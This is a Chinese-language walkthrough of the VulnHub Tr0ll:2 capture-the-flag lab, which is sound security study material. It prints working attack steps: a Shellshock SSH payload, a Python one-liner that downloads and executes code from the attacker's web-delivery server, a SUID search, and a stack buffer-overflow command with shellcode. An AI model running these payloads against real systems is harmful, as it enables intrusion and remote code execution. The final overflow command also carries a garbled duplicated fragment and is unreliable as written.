Skip to content

Latest commit

 

History

History
357 lines (197 loc) · 15.7 KB

VulnHub-Tr0ll:2.md

File metadata and controls

357 lines (197 loc) · 15.7 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/

靶机难度:中级(CTF)

靶机发布日期:2014 年 10 月 24 日

靶机描述:Tr0ll 系列 VM 中的下一台计算机,这比原始的 Tr0ll 难度有所提高,但是解决所需的时间大致相同,并且毫无疑问,巨魔仍然存在!

难度是从初学者到中级。

目标:得到 root 权限 & 找到 proof.txt

请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

展示 Tr0ll:2 的界面

我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:

我们已经找到了此次 CTF 目标计算机 IP 地址:192.168.182.153

我们开始探索机器。第一步是找出目标计算机上可用的开放端口和一些服务

命令:

nmap -sS -sV -T5 -A -p- 192.168.182.153

可以在上面看到 Nmap 找到开放了 21、22、80 端口

直接访问 80,作者:Tr0ll..... 没啥特别有用的信息,将图片下载下来,里面查看也没啥信息

那就回去针对下 21 端口试试

登录输入账号密码,我用前面 80 端口发现的作者信息登录了下... 成功登录...

作者:Tr0ll

看到有一个名为 lmao 的 zip 文件,将他下载到本地

unzip 解压发现需要密码... 破解未成功

那就从别的地方找密码了,回到 web 界面爆破

又发现了 rebots.txt 文件(下次渗透还是别扫了,直接访问试试有没有这个文件)

一个接一个地尝试打开文件夹太花费时间了,用别的方式缩减时间!!

这边创建了一个文件夹方便找数据,然后将 rebots 文本下载

继续用 dirb 扫描目录....

发现一张图... 真恶搞

查看源代码,cat_the_troll.jpg 隐藏了一个 jpg 文件进入

http://192.168.182.153/dont_bother/cat_the_troll.jpg

下载到本地分析它!!!

tail 命令可以将文件指定位置到文件结束的内容写到标准输出

命令:

tail -n 3 cat_the_troll.jpg

最后让我们深入 y0ur_self 去了解.... 访问

answer 文件全是 base64 值,这边进行解读

先下载到本地

下载后进行 base64 解码并放入新建文本中

解码出很多很多值,这边可以开始对 lmao.zip 压缩文件进行攻击破解了.. 前面没有密码库

使用 fcrackzip 工具(专门用来破解 zip 密码)

PASSWORD FOUND!!!!: pw == ItCantReallyBeThisEasyRightLOL

登录

成功登录,有个 noob 文件

SHA256 私钥!

二、权限提升

我们用这个密码登录 22 端口试试

命令:

ssh -i noob [email protected]

这里的意思是,链接失效了,可以登录需要外壳拿权限

这边试了有几种方法,一种一种试试

链接:

https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh

命令:

ssh [email protected] -i noob -t "() { :; }; /bin/bash"

学艺不精这里,脑补中... 终于成功进入

这边看了目录,可能不够细心还是没信息,经验告诉我,这里要使用二进制、缓冲区溢出渗透了

这边我们使用 exploit 进行命令注入攻击拿到反弹 shell 在本地上

学习链接:https://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/

run 跑起来

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.182.149:8080/AYTur8RzbbdxJ');exec(r.read());"

这边进行跑 shell

开始是不成功的,后面在慢慢跑动后,使用 session 2 就进入了...

使用 python -c 'import pty; pty.spawn("/bin/bash")'进入 noob 用户

这边开始进一步查看

命令:

find / -perm -4000 2>/dev/null

使用 find 查看底层目录

果然是缓冲区溢出的题... 我的弱项,好吧继续冲

先查看 door2,让我们输入

用 gdb 进行拆解

命令:gdb -q r00t(加载执行r00t程序发生溢出时来跟踪EIP的值)
命令:set disassembly-flavor intel(转换为intel格式的汇编)
命令:disas main(显示main函数对应的汇编代码)

这边使用 Metasploit 实现对缓冲区栈的溢出攻击

使用 Metasploit 中的 pattern_create.rb 脚本生成字符序列

cd /usr/share/metasploit-framework/tools/exploit/(进入msf的EXP库)
./pattern_create.rb -l 500(可以看到我们只要在pattern_create.rb脚本的后面加上-L字符序列长度就可以生成指定长度的字符序列,查看了500的长度即可)

这边 R 跑下这个值,提示故障表示已经溢出了:

0x6a413969

Metasploit 下的 pattern_offset.rb,首先我们先查看 pattern_offset.rb 脚本的帮助信息

这边 - q 是执行 Aa0A(溢出值的 6a413969)

命令:

./pattern_offset.rb -q 6a413969

返回偏移量结果 268

参考:https://blog.csdn.net/ll352071639/article/details/42304619

命令:i r esp(查看浮点)

得到了 EXP 的位置是 0xbffffa80(真难理解)

现在需要获取一些 shellcode,www.shell-storm.org/shellcode 这是非常好的一个写 shellcode 的学习网站,利用存储已编写的 Shellcode。因为它运行在 Intel,并且操作系统是 32 位 Linux,因此我从此处获取 Shellcode 连接:

http : //shell-storm.org/shellcode/files/shellcode-827.php

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
      "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

有了 shellcode 就有了制作缓冲区溢出所需的三个组件,我的模板:

二进制中到缓冲区里的 EIP+ESP 位置 + 268+Shellcode

./r00t $(python -c "print 'A' * 268 + '\x80\xfb\xff\xbf' + '\x90' * 16 + '\xba\xa0\x7b\x18\x95\xdb\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x50\x15\x83\xe8\xfc\x03\x50\x11\xe2\x55\x11\x13\xcd\x0c\xb4\x45\x85\x03\x5a\x03\xb2\x33\xb3\x60\x55\xc3\xa3\xa9\xc7\xaa\x5d\x3f\xe4\x7e\x4a\x37\xeb\x7e\x8a\x67\x89\x17\xe4\x58\x3e\x8f\xf8\xf1\x93\xc6\x18\x30\x93'") <7\xeb\x7e\x8a\x67\x89\x17\xe4\x58\x3e\x8f\xf8\xf1\x93\xc6\x18\x30\x93'")

这边通过溢出拿到了 root 权限,Proof.txt:

a70354f0258dcc00292c72aab3c8b1e4

You win this time young Jedi...

由于我们已经成功得到 root 权限 & 找到 proof.txt,因此完成了 CTF 靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

星球每月都有网络安全书籍赠送、各种渗透干货分享、小伙伴们深入交流

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

渗透攻防:

欢迎加入

大余安全

公众号